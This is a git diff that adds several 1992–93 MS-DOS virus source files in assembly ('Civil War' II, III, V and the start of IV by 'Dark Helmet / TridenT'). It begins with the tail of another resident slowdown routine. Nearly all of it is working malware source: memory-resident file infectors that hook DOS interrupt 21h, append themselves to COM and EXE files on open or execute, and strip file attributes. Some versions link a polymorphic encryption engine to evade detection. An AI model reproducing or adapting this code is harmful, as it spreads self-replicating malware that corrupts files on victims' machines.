dx,offset tardar ;in offset tardar +int 21h ; +mov dx,offset fin ; +int 27h ;main resident the code +NO_DAY: ; +ret ;ret for program +tardar: ;int 1c handler +pushf ; +pusha ; +mov cx,0ffffh ;fuck loop for slow speed +trampa: ; +mov ax,ax ; +loop trampa ; +popa ; +popf ; +JMP dword ptr CS:[trampaint+bp] ;jmp to original int 1ch +ret ; +trampaint dd ? ; +;--------------------------------; + +;-------------; +Dir_S: ; +jmp dirsal ; +no_Good:iret ; +;-------------; + +action_dia Db 01H ;day for the action +action_mes Db 01H ;month for the action +FECHA DW 018H ;Secon for mark +FECHAd Db 018H ;Secon for mark dir st +fin: +code ends +end start diff --git a/c/Civil210.asm b/c/Civil210.asm new file mode 100755 index 0000000..9dbe6ba --- /dev/null +++ b/c/Civil210.asm @@ -0,0 +1,363 @@ +;**************************************************************************** +; Civil War II * +; * +; Assembled with Tasm 2.5 * +; (c) 1992 Dark Helmet, The Netherlands * +; The author takes no responsibility for any dameged caused by this virus * +; * +;**************************************************************************** +; * +; Civil War... * +; * +; "For all I've seen has change my mind * +; But still the wars go on as the years go by * +; With no love for God or human rights * +; 'Cause all these dreams are swept aside * +; By bloody hands of the hypnotized * +; Who carry the cross of homicide * +; And history bears the scars of our civil war" * +; * +;**************************************************************************** + + .Radix 16 +Civil_War Segment + Model small + Assume cs:Civil_War, ds:Civil_War, es:Civil_War + + org 100h + +len equ offset last - begin +virus_len equ len / 16d + +dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h ; Jump + infection + ; marker + +begin: Call virus ; make call to + ; push IP on stack + +virus: pop bp ; get IP from stack. + sub bp,109h ; adjust IP. + +restore_host: mov di,0100h ; recover beginning + lea si,ds:[carrier_begin+bp] ; of carrier program. + mov cx,06h + rep movsb + +check_resident: mov ah,0a0h ; check if virus + int 21h ; already installed. + cmp ax,0001h + je end_virus + +adjust_memory: mov ax,cs ; start of Memory + dec ax ; Control Block + mov ds,ax + cmp byte ptr ds:[0000],5a ; check if last + ; block + jne abort ; if not last block + ; end + mov ax,ds:[0003] ; decrease memory + sub ax,50 ; by 1kbyte lenght + mov ds:0003,ax + +install_virus: mov bx,ax ; es point to start + mov ax,es ; virus in memory + add ax,bx + mov es,ax + mov cx,len ; cx = lenght virus + mov ax,ds ; restore ds + inc ax + mov ds,ax + lea si,ds:[begin+bp] ; point to start virus + lea di,es:0100 ; point to destination + rep movsb ; copy virus in + ; memory + mov [virus_segment+bp],es ; store start virus + ; in memory + mov ax,cs ; restore es + mov es,ax + +hook_vector: cli ; no interups + mov ax,3517h + int 21h + mov es,[virus_segment+bp] + mov es:[old_17h-6],bx + mov es:[old_17h+2-6h],es + mov dx,offset new_17h - 6h + mov ax,2517h + int 21h + + mov ax,3521h ; revector int 21 + int 21h + mov ds,[virus_segment+bp] + mov ds:[old_21h-6h],bx + mov ds:[old_21h+2-6h],es + mov dx,offset main_virus - 6h + mov ax,2521h + int 21h + sti + +abort: mov ax,cs + mov ds,ax + mov es,ax + xor ax,ax + +end_virus: mov bx,0100h ; jump to begin + jmp bx ; host file + + +;*************************************************************************** + +main_virus: pushf + cmp ah,0a0h ; check virus call + jne new_21h ; no virus call + mov ax,0001h ; ax = id + popf ; return id + iret + +new_21h: push ds ; save registers + push es + push di + push si + push ax + push bx + push cx + push dx + + cmp ah,40h + jne check_05 + cmp bx,0004h + jne check_05 + jmp message + +check_05: cmp ah,05h + jne check_exec + jmp message + +check_exec: cmp ax,04b00h ; exec function? + jne continu + mov cs:[name_seg-6],ds + mov cs:[name_off-6],dx + jmp chk_com + +continu: pop dx ; restore registers + pop cx + pop bx + pop ax + pop si + pop di + pop es + pop ds + popf + jmp dword ptr cs:[old_21h-6] + +chk_com: cld ; check extension + mov di,dx ; for COM + push ds + pop es + mov al,'.' ; search extension + repne scasb ; check 'COM" + cmp word ptr es:[di],'OC' ; check 'CO' + jne continu + cmp word ptr es:[di+2],'M' ; check 'M' + jne continu + cmp word ptr es:[di-3],'DN' ; check if + je continu ; COMMAND.COM + + call set_int24h + call set_atribuut + +open_file: mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + mov ax,3D02h ; open file + call do_int21h + jc close_file + push cs + pop ds + mov [handle-6],ax + mov bx,ax + + call get_date + +check_infect: push cs + pop ds + mov bx,[handle-6] ; read first 6 bytes + mov ah,3fh + mov cx,06h + lea dx,[carrier_begin-6] + call do_int21h + mov al, byte ptr [carrier_begin-6]+3 ; check initials + mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H' + cmp ax,[initials-6] + je save_date ; if equal already + ; infect + +get_lenght: mov ax,4200h ; file pointer begin + call move_pointer + mov ax,4202h ; file pointer end + call move_pointer + sub ax,03h ; ax = filelenght + mov [lenght_file-6],ax + + call write_jmp + call write_virus + +save_date: push cs + pop ds + mov bx,[handle-6] + mov dx,[date-6] + mov cx,[time-6] + mov ax,5701h + call do_int21h + +close_file: mov bx,[handle-6] + mov ah,03eh ; close file + call do_int21h + + mov dx,cs:[old_24h-6] ; restore int24h + mov ds,cs:[old_24h+2-6] + mov ax,2524h + call do_int21h + + jmp continu + + + + +new_24h: mov al,3 + iret + + +new_17h: cli + pushf + push ds + push es + push di + push si + push ax + push bx + push cx + push dx + + cmp ah,00h + jne continu_17h + jmp print_message + +continu_17h: pop dx + pop cx + pop bx + pop ax + pop si + pop di + pop es + pop ds + popf + sti + jmp dword ptr cs:[old_17h-6] + +print_message: mov ah,09h + lea dx,cs:text-6h + call do_int21h + jmp continu_17h + +;--------------------------------------------------------------------------- +; PROCEDURES +;--------------------------------------------------------------------------- + +message: mov ah,09h + lea dx,cs:text-6h + call do_int21h + jmp continu + + + +move_pointer: push cs + pop ds + mov bx,[handle-6] + xor cx,cx + xor dx,dx + call do_int21h + ret + +do_int21h: pushf + call dword ptr cs:[old_21h-6] + ret + +write_jmp: push cs + pop ds + mov ax,4200h + call move_pointer + mov ah,40h + mov cx,01h + lea dx,[jump-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[lenght_file-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[initials-6] + call do_int21h + ret + +write_virus: push cs + pop ds + mov ax,4202h + call move_pointer + mov ah,40 + mov cx,len + mov dx,100 + call do_int21h + ret + +get_date: mov ax,5700h + call do_int21h + push cs + pop ds + mov [date-6],dx + mov [time-6],cx + ret + +set_int24h: mov ax,3524h + call do_int21h + mov cs:[old_24h-6],bx + mov cs:[old_24h+2-6],es + mov dx,offset new_24h-6 + push cs + pop ds + mov ax,2524h + call do_int21h + ret + +set_atribuut: mov ax,4300h ; get atribuut + mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + call do_int21h + and cl,0feh ; set atribuut + mov ax,4301h + call do_int21h + ret + +;--------------------------------------------------------------------------- +; DATA +;--------------------------------------------------------------------------- + +old_21h dw 00h,00h +old_17h dw 00h,00h +old_24h dw 00h,00h +carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h +text db 'Civil War II v1.0, (c) 06/03/1992 The Netherlands.','$',00h +jump db 0e9h +name_seg dw ? +name_off dw ? +virus_segment dw ? +lenght_file dw ? +handle dw ? +date dw ? +time dw ? +initials dw 4844h +last db 090h + +Civil_war ends + end dummy + \ No newline at end of file diff --git a/c/Civil211.asm b/c/Civil211.asm new file mode 100755 index 0000000..800cfc2 --- /dev/null +++ b/c/Civil211.asm @@ -0,0 +1,303 @@ +;**************************************************************************** +; Civil War II V1.1 * +; * +; Assembled with Tasm 2.5 * +; (c) 1992 Trident/Dark Helmet, The Netherlands * +; * +;**************************************************************************** +; * +; Civil War... * +; * +; "For all I've seen has change my mind * +; But still the wars go on as the years go by * +; With no love for God or human rights * +; 'Cause all these dreams are swept aside * +; By bloody hands of the hypnotized * +; Who carry the cross of homicide * +; And history bears the scars of our civil war" * +; * +;**************************************************************************** + + .Radix 16 +Civil_War Segment + Model small + Assume cs:Civil_War, ds:Civil_War, es:Civil_War + + org 100h + +len equ offset last - begin +virus_len equ len / 16d + +dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h ; Jump + infection + ; marker + +begin: Call virus ; make call to + ; push IP on stack + +virus: pop bp ; get IP from stack. + sub bp,109h ; adjust IP. + +restore_host: mov di,0100h ; recover beginning + lea si,ds:[carrier_begin+bp] ; of carrier program. + mov cx,06h + rep movsb + +check_resident: mov ah,0a0h ; check if virus + int 21h ; already installed. + cmp ax,0001h + je end_virus + +adjust_memory: mov ax,cs ; start of Memory + dec ax ; Control Block + mov ds,ax + cmp byte ptr ds:[0000],5a ; check if last + ; block + jne abort ; if not last block + ; end + mov ax,ds:[0003] ; decrease memory + sub ax,40 ; by 1kbyte lenght + mov ds:[0003],ax + sub word ptr ds:[0012],40h + +install_virus: mov bx,ax ; es point to start + mov ax,es ; virus in memory + add ax,bx + mov es,ax + mov cx,len ; cx = lenght virus + mov ax,ds ; restore ds + inc ax + mov ds,ax + lea si,ds:[begin+bp] ; point to start virus + lea di,es:0100 ; point to destination + rep movsb ; copy virus in + ; memory + mov [virus_segment+bp],es ; store start virus + ; in memory + mov ax,cs ; restore es + mov es,ax + +hook_vector: cli ; no interups + mov ax,3521h ; revector int 21 + int 21h + mov ds,[virus_segment+bp] + mov old_21h-6h,bx + mov old_21h+2-6h,es + + mov dx,offset main_virus - 6h + mov ax,2521h + int 21h + sti + +abort: mov ax,cs + mov ds,ax + mov es,ax + +end_virus: mov bx,0100h ; jump to begin + jmp bx ; host file + + +;***************************************************************************** + +main_virus: pushf + cmp ah,0a0h ; check virus call + jne new_21h ; no virus call + mov ax,0001h ; ax = id + popf ; return id + iret + +new_21h: push ds ; save registers + push es + push di + push si + push ax + push bx + push cx + push dx + +check_open: cmp ah,3dh + je chk_com + +check_exec: cmp ax,04b00h ; exec function? + je chk_com + +continu: pop dx ; restore registers + pop cx + pop bx + pop ax + pop si + pop di + pop es + pop ds + popf + jmp dword ptr cs:[old_21h-6] + +chk_com: mov cs:[name_seg-6],ds + mov cs:[name_off-6],dx + cld ; check extension + mov di,dx ; for COM + push ds + pop es + mov al,'.' ; search extension + repne scasb ; check for 'COM" + cmp word ptr es:[di],'OC' ; check 'CO' + jne continu + cmp word ptr es:[di+2],'M' ; check 'M' + jne continu + + call set_int24h + call set_atribuut + +open_file: mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + mov ax,3D02h ; open file + call do_int21h + jc close_file + push cs + pop ds + mov [handle-6],ax + mov bx,ax + + call get_date + +check_infect: push cs + pop ds + mov bx,[handle-6] ; read first 6 bytes + mov ah,3fh + mov cx,06h + lea dx,[carrier_begin-6] + call do_int21h + mov al, byte ptr [carrier_begin-6]+3 ; check initials + mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H' + cmp ax,[initials-6] + je save_date ; if equal already + ; infect + +get_lenght: mov ax,4200h ; file pointer begin + call move_pointer + mov ax,4202h ; file pointer end + call move_pointer + sub ax,03h ; ax = filelenght + mov [lenght_file-6],ax + + call write_jmp + call write_virus + +save_date: push cs + pop ds + mov bx,[handle-6] + mov dx,[date-6] + mov cx,[time-6] + mov ax,5701h + call do_int21h + +close_file: mov bx,[handle-6] + mov ah,03eh ; close file + call do_int21h + + mov dx,cs:[old_24h-6] ; restore int24h + mov ds,cs:[old_24h+2-6] + mov ax,2524h + call do_int21h + + jmp continu + + + + +new_24h: mov al,3 + iret + +;--------------------------------------------------------------------------- +; PROCEDURES +;--------------------------------------------------------------------------- + +move_pointer: push cs + pop ds + mov bx,[handle-6] + xor cx,cx + xor dx,dx + call do_int21h + ret + +do_int21h: pushf + call dword ptr cs:[old_21h-6] + ret + +write_jmp: push cs + pop ds + mov ax,4200h + call move_pointer + mov ah,40h + mov cx,01h + lea dx,[jump-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[lenght_file-6] + call do_int21h + mov ah,40h + mov cx,02h + lea dx,[initials-6] + call do_int21h + ret + +write_virus: push cs + pop ds + mov ax,4202h + call move_pointer + mov ah,40 + mov cx,len + mov dx,100 + call do_int21h + ret + +get_date: mov ax,5700h + call do_int21h + push cs + pop ds + mov [date-6],dx + mov [time-6],cx + ret + +set_int24h: mov ax,3524h + call do_int21h + mov cs:[old_24h-6],bx + mov cs:[old_24h+2-6],es + mov dx,offset new_24h-6 + push cs + pop ds + mov ax,2524h + call do_int21h + ret + +set_atribuut: mov ax,4300h ; get atribuut + mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + call do_int21h + and cl,0feh ; set atribuut + mov ax,4301h + call do_int21h + ret + +;--------------------------------------------------------------------------- +; DATA +;--------------------------------------------------------------------------- + +old_21h dw 00h,00h +old_24h dw 00h,00h +carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h +text db 'Civil War II v1.1, (c) 06/03/1992 Trident/Dark Helmet, The Netherlands',00h +jump db 0e9h +name_seg dw ? +name_off dw ? +virus_segment dw ? +lenght_file dw ? +handle dw ? +date dw ? +time dw ? +initials dw 4844h +last db 090h + +Civil_war ends + end dummy + \ No newline at end of file diff --git a/c/Civil310.asm b/c/Civil310.asm new file mode 100755 index 0000000..8cdaa19 --- /dev/null +++ b/c/Civil310.asm @@ -0,0 +1,476 @@ +;**************************************************************************** +; Civil War III, * +; * +; Assembled with Tasm 2.5 * +; (c) 1992 Dark Helmet / TridenT, The Netherlands * +; The author takes no responsibility for any damaged caused by this virus * +; * +;**************************************************************************** +; * +; Civil War... * +; * +; "For all I've seen has change my mind * +; But still the wars go on as the years go by * +; With no love for God or human rights * +; 'Cause all these dreams are swept aside * +; By bloody hands of the hypnotized * +; Who carry the cross of homicide * +; And history bears the scars of our civil war" * +; * +;**************************************************************************** + + + .Radix 16 +Civ_War Segment + Model small + Assume cs:Civ_War, ds:Civ_War, es:Civ_War + + org 100h + +lenght equ offset last - start +virus_lenght equ lenght /16d + +;****************************************************************************** +; +; A dummy file created only for the virus dropper +; +;****************************************************************************** + +dummy: db 0e9h, 00h, 00h ; Jump + infection + ; marker + +;****************************************************************************** +; +; Here starts the virus code +; +;****************************************************************************** + +start: call start_2 ; Make call to + ; push IP on stack. +start_2: pop bp ; Get IP from stack. + sub bp, offset start_2 + +check_host: cmp cs:[host_file+bp],0Ch ; Check if the host + ; file is a COM file. + jne exe_start ; Host file is an + ; EXE file. + +com_start: mov di,0100h ; Restore beginning + lea si,cs:[host_begin+bp] ; of the host file + mov cx,03h ; (first 6 bytes). + rep movsb + + push cs ; New CS on stack. + mov ax,0100h ; New IP on stack. + push ax + jmp chk_install + +exe_start: mov ax,cs:[old_cs+bp] ; Calculate new + mov bx,ax ; CS + mov ax,ds + add ax,bx + add ax,10h + push ax ; New CS on stack. + mov ax,cs:[old_ip+bp] + push ax ; New IP on stack. + + +chk_install: + push ds + push es + + mov ah,0a0h ; check if virus already + int 21h ; resident + cmp ax,0003h ; check for virus_id + je abort + +adjust_memory: push ds ; lower DS with 1 + pop ax ; paragraf + dec ax + push ax + pop ds + cmp byte ptr ds:[0000],5a ; Check if last MCB. + jne abort ; If not last MCB end. + + mov ax,ds:[0003] ; decrease memory size + sub ax,50h ; by about 1k + mov ds:[0003],ax + + sub word ptr ds:[0012],50h + +install_virus: mov bx,ax ; virus destination. + mov ax,es + add ax,bx + mov es,ax + mov cs:[v_segment+bp],es ; save virus segment + ; for hooking interrupt + push cs ; DS points to segment + pop ds ; with virus + + mov cx,lenght ; Virus lenght. + lea si,[start+bp] ; Start of virus. + lea di,es:0103h ; Where to copy virus + ; to. + rep movsb ; move virus to + ; new memory location. + +hook_int21: cli ; hook int21h + mov ax,3521h ; get old int 21h + int 21h ; vector + mov ds,cs:[v_segment+bp] + mov ds:[old_21h],bx ; old vector in memory + mov ds:[old_21h+2],es + + mov ax,ds ; INT 21, AX 2521 + mov bx,ax ; bx segment new int21 + mov dx, offset main_virus ; dx offset new int21 + xor ax,ax + mov ds,ax + mov ds:[4*21h],dx ; offset int 21h + mov ds:[4*21h+2],bx ; seggment int 21h + + sti + +abort: pop es + pop ds + retf ; continu with orginal + ; programming + + +;****************************************************************************** +; +; This part of the virus will intercept the interuptvectors +; +;****************************************************************************** + + +main_virus: + pushf + cmp ah,0a0h ; check if virus ask + jne new_21h ; for virus_id + mov ax,0003h ; returns virus_id + popf + iret + +new_21h: push ax + push bx + push cx + push dx + push ds + push es + push di + push sp + push bp + +chk_open: cmp ah,3dh ; check if a file is + je chk_com ; opened + +chk_exec: cmp ax,4b00h ; check if a file is + je chk_com ; executed + +continu: pop bp + pop sp + pop di + pop es ; recover registers + pop ds + pop dx + pop cx + pop bx + pop ax + popf + jmp dword ptr cs:[old_21h] + +;****************************************************************************** + + + + +chk_com: mov cs:[name_seg],ds ; ds:dx = filename + mov cs:[name_off],dx + + ; check if extension + cld ; is .COM + mov di,dx + push ds + pop es + mov al,'.' + repne scasb + cmp word ptr es:[di],'OC' + jne chk_exe + cmp byte ptr es:[di+2],'M' + jne continu + + jmp infect_com + +chk_exe: cmp word ptr es:[di],'XE' ; check if extension + jne continu ; is .EXE + cmp byte ptr es:[di+2],'E' + jne continu + +;****************************************************************************** +; +; This part will infect a EXE file +; +;****************************************************************************** + +infect_exe: mov cs:[host_file],0Eh ; EXE marker + call int24h + call open_file ; open file + jc close_file ; Error? + call set_atributes + call get_date ; get file date/time + call chk_infect ; check if already + ; infect + + je close_file + + mov ax,4200h ; go to filestart + call mov_point + mov ah,3fh ; read exe header + mov cx,18h + lea dx,[head_buffer] ; store header in + call do_int21h ; HEAD_BUFFER + + call EXE_inf ; call for infection + ; of EXE file + + call save_date + jmp close_file + +;****************************************************************************** +; +; This part will infect COM files +; +;****************************************************************************** + +infect_com: mov cs:[host_file],0Ch ; COM marker + call int24h + call open_file ; open file + jc close_file ; error? + call set_atributes + call get_date ; get file date/time + call chk_infect ; check if already + ; infect + + + + je close_file ; already infected + + mov ax,4200h ; get beginning of file + call mov_point + + mov ah,3fh + mov cx,03h + push cs + pop ds + lea dx,[host_begin] + call do_int21h + + + mov ax,4200h ; get file lenght + call mov_point + + mov ax,4202h + call mov_point + sub ax,03h ; subtract 3 bytes for + mov cs:[lenght_file],ax ; jump instruction + ; later + + call write_jmp ; write jmp instruction + call write_vir ; write virus + call save_date + +close_file: mov bx,cs:[handle] ; close file + mov ah,3eh + call do_int21h + +restore_int24h: mov dx,cs:[old_24h] ; restore int 24h + mov ds,cs:[old_24h+2] + mov ax,2524h + call do_int21h + jmp continu ; continu with + ; interrupt + +new_24h: mov al,3 + iret + +;****************************************************************************** +; +; Procedure's used in the virus +; +;****************************************************************************** + +int24h: push cs + pop ds + mov ax,3524h ; hook int24h + call do_int21h + mov cs:[old_24h],bx + mov cs:[old_24h+2],es + mov dx,offset new_24h + mov ax,2524h + call do_int21h + ret + +set_atributes: mov ax,4300h ; clear file + mov ds,cs:[name_seg] ; atributes + mov dx,cs:[name_off] + call do_int21h + and cl,0feh + mov ax,4301h + call do_int21h + ret + +get_date: mov ax,5700h ; get original + call do_int21h ; time and date + mov cs:[date],dx ; of file + mov cs:[time],cx + ret + +save_date: mov bx,cs:[handle] + mov dx,cs:[date] + mov cx,cs:[time] + mov ax,5701h + call do_int21h + ret + +open_file: mov ds,cs:[name_seg] ; open file + mov dx,cs:[name_off] ; with pointer to + mov ax,3d02h ; name in ds:dx + call do_int21h + mov cs:[handle],ax + mov bx,ax + ret + +chk_infect: push cs + pop ds + mov ax,4202h ; file-pointer + xor cx,cx ; to infection marker + sub cx,01h + xor dx,dx + sub dx,02h + mov bx,[handle] + call do_int21h + + mov ah,3f + mov cx,02h + lea dx,[file_id] + call do_int21h + + mov al, byte ptr cs:[file_id] + mov ah, byte ptr cs:[file_id]+1 + cmp ax,[id_marker] + ret + + +mov_point: push cs + pop ds + mov bx,cs:[handle] ; move filepointer + xor cx,cx + xor dx,dx + call cs:do_int21h + ret + + +write_jmp: push cs + pop ds + mov ax,4200h ; write JUMP + call mov_point ; instruction + mov ah,40h ; at begin of file + mov cx,01h + lea dx,cs:[jump] + call do_int21h + + mov ah,40h ; write offset + mov cx,02h ; for JUMP + lea dx,cs:[lenght_file] + call do_int21h + ret + +write_vir: push cs + pop ds + mov ax,4202h ; write actual + call mov_point ; virus at end of + mov ah,40h ; file + mov cx,lenght + mov dx,103h + call do_int21h + ret + +EXE_inf: mov ax,word ptr cs:[head_buffer+14h] ; store old IP + mov cs:[old_ip],ax + mov ax,word ptr cs:[head_buffer+16h] ; store old CS + mov cs:[old_cs],ax + +new_CS_IP: mov ax,4200h ; get filelenght + call mov_point + mov ax,4202h + call mov_point + mov bx,10h ; divide filelenght + div bx ; by 16 + sub ax,word ptr cs:[head_buffer+08h] + mov cs:[new_cs],ax ; store new CS + mov cs:[new_ip],dx ; store new IP + call write_vir ; write virus to end + ; of file +new_size: mov ax,4200h ; Get new filesize + call mov_point ; and calculate + mov ax,4202h ; PAGE and OFFSET + call mov_point ; size for in the + mov bx,0200h ; EXE buffer. + div bx + cmp dx,0000h + jne niet_nul + jmp doorgaan +niet_nul: inc ax +doorgaan: mov word ptr cs:[head_buffer+02h],dx ; new mod lengh + mov word ptr cs:[head_buffer+04h],ax ; new page lenght + mov ax,cs:[new_ip] + mov word ptr cs:[head_buffer+14h],ax ; new IP + mov ax,cs:[new_cs] + mov word ptr cs:[head_buffer+16h],ax ; new CS + + mov word ptr cs:[head_buffer+0E],ax ; new SS + mov word ptr cs:[head_buffer+10],1000 ; new SP + + mov ax,4200h + call mov_point + mov ah,40h ; write new + mov bx,cs:[handle] ; EXE header + mov cx,18h + lea dx,cs:[head_buffer] + call do_int21h + ret + +do_int21h: pushf + call dword ptr cs:[old_21h] + ret + +;****************************************************************************** +; +; D A T A +; +;****************************************************************************** + +v_name db "Civil War III v1.0, (c) Dec 1992, [ DH / TridenT] " +old_21h dw 00h,00h +old_24h dw 00h,00h +host_file db 0Ch +host_begin db 90h,0cdh,20h +jump db 0e9h +name_seg dw ? +name_off dw ? +v_segment dw ? +handle dw ? +lenght_file dw ? +date dw ? +time dw ? +head_buffer db 18 dup (?) +file_id dw 0000 +old_cs dw ? +old_ip dw ? +new_cs dw ? +new_ip dw ? +Id_Marker dw "GR" +last dw "GR" +civ_war ends + end dummy diff --git a/c/Civil510.asm b/c/Civil510.asm new file mode 100755 index 0000000..634cbdb --- /dev/null +++ b/c/Civil510.asm @@ -0,0 +1,337 @@ +;**************************************************************************** +; Civil War V V1.0 * +; * +; Assembled with Tasm 2.5 * +; (c) Jan '93 [ Dark Helmet / TridenT ], The Netherlands * +; * +;**************************************************************************** +; * +; This is an example virus for the TPE engine. * +; We are not responsible if you use the TPE in an illegal or naughty way. * +; The TridenT Polymorpic Engine version 1.3 should be used for linking * +; with this virus. * +; * +;**************************************************************************** + + .model tiny + .radix 16 + .code + + org 100h + + extrn rnd_init:near + extrn rnd_get:near + extrn crypt:near + extrn tpe_top:near + + +len equ offset tpe_top - begin + + +dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h ; Jump + infection + ; marker + +begin: Call virus ; make call to + ; push IP on stack + +virus: pop bp ; get IP from stack. + sub bp,offset virus ; adjust IP. + +restore_host: mov di,0100h ; recover beginning + lea si,ds:[carrier_begin+bp] ; of carrier program. + mov cx,06h + rep movsb + +check_resident: mov ah,0a0h ; check if virus + int 21h ; already installed. + cmp ax,0008h + je end_virus + +adjust_memory: mov ax,cs ; start of Memory + dec ax ; Control Block + mov ds,ax + cmp byte ptr ds:[0000],5a ; check if last + ; block + jne abort ; if not last block + ; end + mov ax,ds:[0003] ; decrease memory + sub ax,200h ; by X kbyte lenght + mov ds:[0003],ax + sub word ptr ds:[0012],200h + +install_virus: call RND_init + + mov bx,ax ; es point to start + mov ax,es ; virus in memory + add ax,bx + mov es,ax + + mov cx,len ; cx = lenght virus + mov ax,ds ; restore ds + inc ax + mov ds,ax + + lea si,ds:[begin+bp] ; point to start virus + lea di,es:0100 ; point to destination + rep movsb ; copy virus in + ; memory + mov [virus_segment+bp],es ; store start virus + ; in memory + mov ax,cs ; restore es + mov es,ax + +hook_vector: cli ; no interups + mov ax,3521h ; revector int 21 + int 21h + mov ds,[virus_segment+bp] + mov old_21h-6h,bx + mov old_21h+2-6h,es + + mov dx,offset main_virus - 6h + mov ax,2521h + int 21h + sti + +abort: mov ax,cs + mov ds,ax + mov es,ax + +end_virus: mov bx,0100h ; jump to begin + jmp bx ; host file + + +;***************************************************************************** + +main_virus: pushf + cmp ah,0a0h ; check virus call + jne new_21h ; no virus call + mov ax,0008h ; ax = id + popf ; return id + iret + +new_21h: push ds ; save registers + push es + push di + push si + push ax + push bx + push cx + push dx + +check_exec: cmp ax,04b00h ; exec function? + je chk_com + +continu: pop dx ; restore registers + pop cx + pop bx + pop ax + pop si + pop di + pop es + pop ds + popf + jmp dword ptr cs:[old_21h-6] + + +chk_com: mov cs:[name_seg-6],ds + mov cs:[name_off-6],dx + cld ; check extension + mov di,dx ; for COM + push ds + pop es + mov al,'.' ; search extension + repne scasb ; check for 'COM" + cmp word ptr es:[di],'OC' ; check 'CO' + jne continu + cmp word ptr es:[di+2],'M' ; check 'M' + jne continu + +own_stack: cli + mov cs:[old_sp-6],sp + mov cs:[old_ss-6],ss + mov ax,cs + add ax,150h + mov ss,ax + mov sp,100h + sti + + call set_int24h + call set_atribuut + +open_file: mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + mov ax,3D02h ; open file + call do_int21h + jc close_file + + mov cs:[handle-6],ax + mov bx,ax + + call get_date + +check_infect: mov bx,cs:[handle-6] ; read first 6 bytes + mov ah,3fh + mov cx,06h + lea dx,cs:[carrier_begin-6] + call do_int21h + + push cs + pop ds + mov al, byte ptr [carrier_begin-6]+3 ; check initials + mov ah, byte ptr [carrier_begin-6]+4 ; 'D' and 'H' + cmp ax,cs:[initials-6] + je save_date ; if equal already + ; infect + +get_lenght: mov ax,4200h ; file pointer begin + call move_pointer + mov ax,4202h ; file pointer end + call move_pointer + sub ax,03h ; ax = filelenght + mov cs:[lenght_file-6],ax + + call write_jmp + call write_virus + +save_date: mov bx,cs:[handle-6] + mov dx,cs:[date-6] + mov cx,cs:[time-6] + mov ax,5701h + call do_int21h + + +close_file: mov bx,cs:[handle-6] + mov ah,03eh ; close file + call do_int21h + + mov dx,cs:[old_24h-6] ; restore int24h + mov ds,cs:[old_24h+2-6] + mov ax,2524h + call do_int21h + + +restore_stack: cli + mov sp,cs:[old_sp-6] + mov ss,cs:[old_ss-6] + sti + + + jmp continu + + + +new_24h: mov al,03h + iret + +;--------------------------------------------------------------------------- +; PROCEDURES +;--------------------------------------------------------------------------- + +move_pointer: push cs + pop ds + mov bx,[handle-6] + xor cx,cx + xor dx,dx + call do_int21h + ret + +do_int21h: pushf + call dword ptr cs:[old_21h-6] + ret + +write_jmp: mov ax,4200h ; goto begin of file + call move_pointer + + mov ah,40h ; write JMP instruction + mov cx,01h + lea dx,[jump-6] + call do_int21h + + mov ah,40h ; write JMP offset + mov cx,02h + lea dx,[lenght_file-6] + call do_int21h + + mov ah,40h ; write initials + mov cx,02h + lea dx,[initials-6] + call do_int21h + ret + +write_virus: mov ax,4202h ;goto end of file + call move_pointer + +TPE_engine: mov ax,cs ;ES points to + add ax,90h ;worksegment + mov es,ax + + push cs ;DS:DX code to encrypt + pop ds + mov dx,100h + + mov bp,[lenght_file-6] ;BP start of encryptor + add bp,103h + + mov cx,len ;lenght code to encrypt + + xor si,si ;distance encryptor/ + ;decryptor = 0 + + call rnd_get ;AX = type of + call crypt ;encryption + + mov bx,cs:[handle-6] ;write virus + mov ah,40h ;at end of file + call do_int21h + ret + +get_date: mov ax,5700h + call do_int21h + push cs + pop ds + mov [date-6],dx + mov [time-6],cx + ret + +set_int24h: mov ax,3524h ; hook int 24h + call do_int21h + mov cs:[old_24h-6],bx + mov cs:[old_24h+2-6],es + mov dx,offset new_24h-6 + push cs + pop ds + mov ax,2524h + call do_int21h + ret + +set_atribuut: mov ax,4300h ; get atribuut + mov ds,cs:[name_seg-6] + mov dx,cs:[name_off-6] + call do_int21h + and cl,0feh ; set atribuut + mov ax,4301h + call do_int21h + ret + +;--------------------------------------------------------------------------- +; DATA +;--------------------------------------------------------------------------- + +virus_name db "Civil War V v1.0, (c) Jan '92" +old_21h dw 00h,00h +old_24h dw 00h,00h +old_ss dw ? +old_sp dw ? +carrier_begin db 090h, 0cdh, 020h, 044h, 048h, 00h +jump db 0e9h +name_seg dw ? +name_off dw ? +virus_segment dw ? +lenght_file dw ? +handle dw ? +date dw ? +time dw ? +initials dw 4844h +writer db "[ DH / TridenT ]" + + end dummy diff --git a/c/Civil_4a.asm b/c/Civil_4a.asm new file mode 100755 index 0000000..5dad729 --- /dev/null +++ b/c/Civil_4a.asm @@ -0,0 +1,190 @@ +;**************************************************************************** +;* Civil War IV * +;* * +;* Assembled with Tasm 2.5 * +;* * +;* (c) Jan '93 Dark Helmet, The Netherlands. * +;* The author takes no responsibilty for any damages caused by the virus * +;* * +;* Example virus with the TPE engine (TPE version 1.3). * +;* Use : TASM CIVIL_4A * +;* TLINK CIVIL_4A TPE * +;* * +;*--------------------------------------------------------------------------* +;* * +;* This virus is NOT dedicated to Sara Gordon, but to all the innocent * +;* people who are killed in Yugoslavia. * +;* * +;* The text in the virus is taken from the song Civil War (hence the name) * +;* of Guns and Roses, Use Your Illusion II, we hope they don't mind it. * +;* * +;* The first name for the virus was NAVIGATOR II, because the virus is * +;* based on the NAVIGATOR virus (also written by me, a while back), but * +;* since I decided to put the songtext in it I renamed it to Civil War IV * +;* * +;**************************************************************************** + + .model tiny + .radix 16 + .code + + extrn rnd_init:near + extrn rnd_get:near + extrn crypt:near + extrn tpe_top:near + + org 100h + +len equ offset tpe_top - begin + +Dummy: db 0e9h, 03h, 00h, 44h, 48h, 00h + 